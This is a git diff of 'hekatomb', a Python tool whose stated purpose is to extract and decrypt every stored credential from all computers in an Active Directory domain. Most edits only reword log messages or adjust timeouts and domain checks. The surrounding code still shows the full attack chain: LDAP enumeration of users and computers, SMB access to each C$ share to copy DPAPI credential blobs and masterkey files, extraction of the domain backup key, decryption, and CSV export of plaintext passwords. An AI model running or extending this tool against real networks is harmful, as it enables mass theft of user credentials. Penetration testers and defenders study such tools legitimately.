diff --git a/.assets/github1.png b/.assets/github1.png index 9644366..85e8073 100644 Binary files a/.assets/github1.png and b/.assets/github1.png differ diff --git a/README.md b/README.md index b22141c..c43f35d 100644 --- a/README.md +++ b/README.md @@ -21,7 +21,7 @@ >
- +

@@ -31,6 +31,7 @@ On last version (V 1.5) :
- Fix local packages importation error with pip installation
- Prevent crash when no computers are reachable
+- Prevent null domain or null domain extension

V 1.4 :
- Fix LDAP search limitation to 1000 items
diff --git a/pyproject.toml b/pyproject.toml index 9e5794a..140134a 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "hekatomb" -version = "1.5.14" +version = "1.5.2.3" description = "Python library to extract and decrypt all credentials from all domain computers" license = "GPL-3.0-only" authors = ["Processus Thief "] diff --git a/src/hekatomb/ad_ldap.py b/src/hekatomb/ad_ldap.py index 723e688..18a01e2 100644 --- a/src/hekatomb/ad_ldap.py +++ b/src/hekatomb/ad_ldap.py @@ -15,37 +15,44 @@ def scan(computer, domain, dns_server, port, debug, debugmax): # Trying to resolve IP address of the host - screenLock = Semaphore(value=1) answer = '' # Create a socket object for TCP IP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(3) + s.settimeout(30) try: - # resolve dns to ip address + # resolve dns to ip address resolver = dns.resolver.Resolver(configure=False) + resolver.timeout = 60 + resolver.lifetime = 60 resolver.nameservers = [dns_server] - current_computer = computer + "." + domain + + dns_computer = str(computer)+"."+str(domain) + if debug is True or debugmax is True: + screenLock.acquire() + print("[+] Resolving "+str(dns_computer) + " by asking DNS server "+str(dns_server)+" ...") + screenLock.release() + # trying dns resolution in TCP and if it fails, we try in UDP - answer = resolver.resolve(current_computer, "A", tcp=True) + answer = resolver.resolve(dns_computer, "A", tcp=True) if len(answer) == 0: - answer = resolver.resolve(current_computer, "A", tcp=False) + answer = resolver.resolve(dns_computer, "A", tcp=False) if len(answer) == 0: - print("DNS resolution for "+str(current_computer) + " has failed.") + screenLock.acquire() + print("[!] DNS resolution for "+str(computer) + " has failed.") + screenLock.release() sys.exit(1) else: - answer = str(answer[0]) + if debug: + screenLock.acquire() + print ('[+] DNS resolution for ', str(computer) , ' succeeded : ', str(answer[0])) + screenLock.release() + answer = str(answer[0]) # Set IP and Port to connect s.connect((answer, port)) - - # Display debug infos - if debugmax: - screenLock.acquire() - print ('Scanning ', answer , 'on port', port) - print("Port",port, "is open") # Closing the socket s.close() @@ -53,23 +60,18 @@ def scan(computer, domain, dns_server, port, debug, debugmax): # Call the summary fonction to add the computer to the online_computers list summary(computer) - # If it fails - except socket.timeout: - if debugmax: - print("TCP 445 Connection Timeout") - except: - # Display offline computer - if debugmax: + except Exception as e: + if debug is True or debugmax is True: screenLock.acquire() - print ('Scanning ', answer , 'on port', port) - print("Port",port,"is closed") - + print("[!] ERROR : " +str(e)) + screenLock.release() # Free the semaphore object and close the socket finally: screenLock.release() s.close() return + # Création d'une boucle pour créer un thread par machine def SmbScan(computers_list, domain, dns_server, port, debug, debugmax): # Définition du tableau de threads @@ -106,7 +108,7 @@ def Connect_AD_ldap(address, domain, username, passLdap, debug, debugmax): # try to connect to ldap if debug is True or debugmax is True: - print("Testing LDAP connection...") + print("[+] Testing LDAP connection...") connectionFailed = False serv = Server(address, get_info=ALL, use_ssl=True, connect_timeout=15) @@ -114,25 +116,25 @@ def Connect_AD_ldap(address, domain, username, passLdap, debug, debugmax): try: if not ldapConnection.bind(): - print("Error : Could not connect to ldap : bad credentials") + print("[!] Error : Could not connect to ldap : bad credentials") sys.exit(1) if debug is True or debugmax is True: - print("LDAP connection successfull with SSL encryption.") + print("[+] LDAP connection successfull with SSL encryption.") except: - print("Error : Could not connect to ldap with SSL encryption. Trying without SSL encryption...") + if debug is True or debugmax is True: + print("[!] Error : Could not connect to ldap with SSL encryption. Trying without SSL encryption...") connectionFailed = True - if True == connectionFailed: + if connectionFailed: try: serv = Server(address, get_info=ALL, connect_timeout=15) ldapConnection = Connection(serv, user=f"{domain}\\{username}", password=passLdap, authentication=NTLM) if not ldapConnection.bind(): - print("Error : Could not connect to ldap : bad credentials") + print("[!] Error : Could not connect to ldap : bad credentials") sys.exit(1) - if debug is True or debugmax is True: - print("LDAP connection successfull without encryption.") + print("[+] LDAP connection succeeded !") except: - print("Error : Could not connect to ldap.") + print("[!] Error : Could not connect to ldap.") if debug is True or debugmax is True: import traceback traceback.print_exc() @@ -140,19 +142,17 @@ def Connect_AD_ldap(address, domain, username, passLdap, debug, debugmax): # Create the baseDN baseDN = serv.info.other['defaultNamingContext'][0] - return ldapConnection,baseDN def Get_AD_users(ldapConnection, baseDN, just_user, debug, debugmax): # catch all users in domain or just the specified one if just_user is not None : searchFilter = "(&(objectCategory=person)(objectClass=user)(sAMAccountName="+str(just_user)+"))" - print("Target user will be only " + str(just_user)) + print("[+] Target user will be only " + str(just_user)) else: searchFilter = "(&(objectCategory=person)(objectClass=user))" try: - if debug is True or debugmax is True: - print("[+] Retrieving user objects in LDAP directory...") + print("[+] Retrieving user objects in LDAP directory...") ldap_users = [] ldapConnection.search('%s' % (baseDN), searchFilter, attributes=['sAMAccountName', 'objectSID'],paged_size=1000) for i in range(len(ldapConnection.entries)): @@ -165,7 +165,7 @@ def Get_AD_users(ldapConnection, baseDN, just_user, debug, debugmax): ldap_users.append(ldapConnection.entries[i]) if debug is True or debugmax is True: - print("Converting ObjectSID in string SID...") + print("[+] Converting ObjectSID in string SID...") ad_users = [] for user in ldap_users: @@ -178,15 +178,15 @@ def Get_AD_users(ldapConnection, baseDN, just_user, debug, debugmax): pass # some users may not have samAccountName if debug is True or debugmax is True: - print("Found about " + str( len(ldap_users) ) + " users in LDAP directory.") + print("[+] Found about " + str( len(ldap_users) ) + " users in LDAP directory.") except: - print("Error : Could not extract users from ldap.") + print("[!] Error : Could not extract users from ldap.") if debug is True or debugmax is True: import traceback traceback.print_exc() sys.exit(1) if len(ad_users) == 0: - print("No user found in LDAP directory") + print("[!] No user found in LDAP directory") sys.exit(1); return ad_users @@ -194,13 +194,12 @@ def Get_AD_users(ldapConnection, baseDN, just_user, debug, debugmax): def Get_AD_computers(ldapConnection, baseDN, just_computer, debug, debugmax): # catch all computers (enabled) in domain or just the specified one - if debug is True or debugmax is True: - print("[+] Retrieving computer objects in LDAP directory...") + print("[+] Retrieving computer objects in LDAP directory...") ad_computers = [] ldap_computers = [] if just_computer is not None : ad_computers.append(just_computer) - print("Target computer will be only " + str(just_computer)) + print("[+] Target computer will be only " + str(just_computer)) else: try: # Filter on enabled computer only @@ -210,6 +209,8 @@ def Get_AD_computers(ldapConnection, baseDN, just_computer, debug, debugmax): for i in range(len(ldapConnection.entries)): ldap_computers.append(ldapConnection.entries[i]) + if debugmax is True: + print("[+] ldapConnection.entries["+str(i)+"] : " + str(ldapConnection.entries[i]).strip()) cookie = ldapConnection.result['controls']['1.2.840.113556.1.4.319']['value']['cookie'] while cookie: @@ -225,9 +226,9 @@ def Get_AD_computers(ldapConnection, baseDN, just_computer, debug, debugmax): except: pass if debug is True or debugmax is True: - print("Found about " + str( len(ad_computers) ) + " computers in LDAP directory.") + print("[+] Found about " + str( len(ad_computers) ) + " computers in LDAP directory.") except: - print("Error : Could not extract computers from ldap.") + print("[!] Error : Could not extract computers from ldap.") if debug is True or debugmax is True: import traceback traceback.print_exc() diff --git a/src/hekatomb/blobs.py b/src/hekatomb/blobs.py index 52033a0..0a4e3d8 100644 --- a/src/hekatomb/blobs.py +++ b/src/hekatomb/blobs.py @@ -65,7 +65,7 @@ def Get_blob_and_mkf(computers_list, users_list, username, password, domain, lmh if len(answer) == 0: answer = resolver.resolve(current_computer, "A", tcp=False) if len(answer) == 0: - print("DNS resolution for "+str(current_computer) + " has failed.") + print("[!] DNS resolution for "+str(current_computer) + " has failed.") sys.exit(1) else: answer = str(answer[0]) @@ -85,7 +85,7 @@ def Get_blob_and_mkf(computers_list, users_list, username, password, domain, lmh if str(current_user[0]).lower() == str(current_user_folder).lower(): try: if debugmax is True: - print("Find existing user " + str(current_user[0]) + " on computer " + str(current_computer) ) + print("[+] Find existing user " + str(current_user[0]) + " on computer " + str(current_computer) ) response = smbClient.listPath("C$", "\\users\\" + current_user[0] + "\\appData\\Roaming\\Microsoft\\Credentials\\*") is_there_any_blob_for_this_user = False count_blobs = 0 @@ -130,8 +130,8 @@ def Get_blob_and_mkf(computers_list, users_list, username, password, domain, lmh wf = open(mkfFolder + "/" + mkf,'wb') smbClient.getFile("C$", "\\users\\" + current_user[0] + "\\appData\\Roaming\\Microsoft\\Protect\\" + current_user[1] + "\\" + mkf, wf.write) if debugmax is True: - print("New credentials found for user " + str(current_user[0]) + " on " + str(current_computer) + " :") - print("Retrieved " + str(count_blobs) + " credential blob(s) and " + str(count_mkf) + " masterkey file(s)") + print("[+] New credentials found for user " + str(current_user[0]) + " on " + str(current_computer) + " :") + print("[+] Retrieved " + str(count_blobs) + " credential blob(s) and " + str(count_mkf) + " masterkey file(s)") except KeyboardInterrupt: os._exit(1) except: @@ -144,13 +144,13 @@ def Get_blob_and_mkf(computers_list, users_list, username, password, domain, lmh os._exit(1) except dns.exception.DNSException: if debugmax is True: - print("Error on computer "+str(current_computer)) + print("[!] Error on computer "+str(current_computer)) import traceback traceback.print_exc() pass except: if debug is True: - print("Debug : Could not connect to computer : " + str(current_computer)) + print("[!] Debug : Could not connect to computer : " + str(current_computer)) if debugmax is True: import traceback traceback.print_exc() diff --git a/src/hekatomb/hekatomb.py b/src/hekatomb/hekatomb.py index 8bd5a33..397507c 100644 --- a/src/hekatomb/hekatomb.py +++ b/src/hekatomb/hekatomb.py @@ -78,11 +78,23 @@ def main(): options = parser.parse_args() domain, username, password, address = parse_target(options.target) passLdap = password + + if domain is None: - domain = '' + print("[!] Domain can't be null") + sys.exit(1) + if len(domain)<1: + print("[!] Domain can't be null") + sys.exit(1) + if (domain.find('.') != -1): + print("[+] Targeting domain "+str(domain)) + else: + domain = domain + ".local" + print("[+] Targeting domain "+str(domain)) + if password == '' and username != '' and options.hashes is None : from getpass import getpass - password = getpass("Password:") + password = getpass("[+] Password:") passLdap = password if options.hashes is not None: lmhash, nthash = options.hashes.split(':') @@ -115,15 +127,15 @@ def main(): # test if account is domain admin by accessing to DC c$ share try: if options.debug is True or options.debugmax is True: - print("Testing admin rights...") + print("[+] Testing admin rights...") smbClient = SMBConnection(address, address, myName=myName, sess_port=port, preferredDialect=preferredDialect) smbClient.login(username, password, domain, lmhash, nthash) if smbClient.connectTree("c$") != 1: raise if options.debug is True or options.debugmax is True: - print("Admin access granted.") + print("[+] Admin access granted.") except: - print("Error : Account disabled or access denied. Are you really a domain admin ?") + print("[!] Error : Account disabled or access denied. Are you really a domain admin ?") if options.debug is True or options.debugmax is True: import traceback traceback.print_exc() @@ -150,7 +162,7 @@ def main(): if debug is True or debugmax is True: print("[+] It seems that " + str(len(online_computers)) + " computers are online ...") - if len(online_computers) <1: + if str(len(online_computers)) == "0": print("\n[!] No computers available") sys.exit() # # Retrieving blobs and mkf files @@ -161,7 +173,7 @@ def main(): if options.pvk is None: if debug is True: - print("Domain backup keys not given.\nTrying to extract...") + print("[+] Domain backup keys not given.\n[+] Trying to extract...") # get domain backup keys try: array_of_mkf_keys = [] @@ -195,7 +207,7 @@ def main(): key = header.getData() + pvk open(directory + "/pvkfile.pvk", 'wb').write(key) except: - print("Error : Can't extract domain backup keys.") + print("[!] Error : Can't extract domain backup keys.") if options.debug is True or options.debugmax is True: import traceback traceback.print_exc() @@ -210,8 +222,8 @@ def main(): # decrypt pvk file if options.debug is True: - print("Domain backup keys found.") - print("Trying to decrypt PVK file...") + print("[+] Domain backup keys found.") + print("[+] Trying to decrypt PVK file...") try: pvkfile = open(pvk_file, 'rb').read() key = PRIVATE_KEY_BLOB(pvkfile[len(PVK_FILE_HDR()):]) @@ -220,7 +232,7 @@ def main(): array_of_mkf_keys = [] if options.debug is True: - print("PVK file decrypted.\nTrying to decrypt all MFK...") + print("[+] PVK file decrypted.\n[+] Trying to decrypt all MFK...") for filename in os.listdir(mkfFolder): try: @@ -248,23 +260,23 @@ def main(): key = domain_master_key['buffer'][:domain_master_key['cbMasterKey']] array_of_mkf_keys.append(key) if options.debugmax is True: - print("New mkf key decrypted : " + str(hexlify(key).decode('latin-1')) ) + print("[+] New mkf key decrypted : " + str(hexlify(key).decode('latin-1')) ) except: if options.debugmax is True: - print("Error occured while decrypting MKF.") + print("[!] Error occured while decrypting MKF.") import traceback traceback.print_exc() pass if options.debug is True: - print(str( len(array_of_mkf_keys)) + " MKF keys have been decrypted !") + print("[+] "+str( len(array_of_mkf_keys)) + " MKF keys have been decrypted !") except: - print("Error occured while decrypting PVK file.") + print("[!] Error occured while decrypting PVK file.") if options.debug is True: import traceback traceback.print_exc() os._exit(1) else: - print("Domain backup keys not found.") + print("[!] Domain backup keys not found.") if options.debug is True: import traceback traceback.print_exc() @@ -275,7 +287,7 @@ def main(): if len(array_of_mkf_keys) > 0: # We have MKF keys so we can start blob decryption if options.debug is True: - print("Starting blob decryption with MKF keys...") + print("[+] Starting blob decryption with MKF keys...") array_of_credentials = [] for current_computer in os.listdir(blobFolder): current_computer_folder = blobFolder + "/" + current_computer @@ -291,7 +303,7 @@ def main(): blob = DPAPI_BLOB(cred['Data']) if options.debugmax is True: - print("Starting decryption of blob " + filename + "...") + print("[+] Starting decryption of blob " + filename + "...") for mkf_key in array_of_mkf_keys: try: @@ -313,13 +325,13 @@ def main(): array_of_credentials.append(tmp_cred) except: if options.debugmax is True: - print("Error occured while decrypting blob file.") + print("[!] Error occured while decrypting blob file.") import traceback traceback.print_exc() pass except: if options.debug is True: - print("Error occured while decrypting blob file.") + print("[!] Error occured while decrypting blob file.") import traceback traceback.print_exc() pass @@ -327,8 +339,8 @@ def main(): if options.debug is True: end = time.time() elapsed = round(end - start) - print("Credentials gathered and decrypted in " + str(elapsed) + " seconds\n") - print(str(len(array_of_credentials)) + " credentials have been decrypted !\n") + print("[+] Credentials gathered and decrypted in " + str(elapsed) + " seconds\n") + print("[+] "+str(len(array_of_credentials)) + " credentials have been decrypted !\n") i = 0 if options.csv is True: with open(directory + '/exported_credentials.csv', 'w', encoding='UTF8') as f: @@ -338,7 +350,7 @@ def main(): i = i + 1 current_row = str(credential['foundon']) +";"+ str(credential['inusersession'])+";"+ str(credential['lastwritten'])+";"+ str(credential['target'])+";"+ str(credential['username'])+";"+ str(credential['password1'])+";"+ str(credential['password2'])+"\n" f.write(current_row) - print("File successfully saved to ./" + str(directory) + '/exported_credentials.csv') + print("[+] File successfully saved to ./" + str(directory) + '/exported_credentials.csv') else: for credential in array_of_credentials: if i == 0: @@ -358,10 +370,10 @@ def main(): else: - print("No credentials could be decrypted.") + print("[!] No credentials could be decrypted.") os._exit(1) else: - print("No MKF have been decrypted.\nBlobs will not be decrypted.") + print("[!] No MKF have been decrypted.\nBlobs will not be decrypted.") os._exit(1)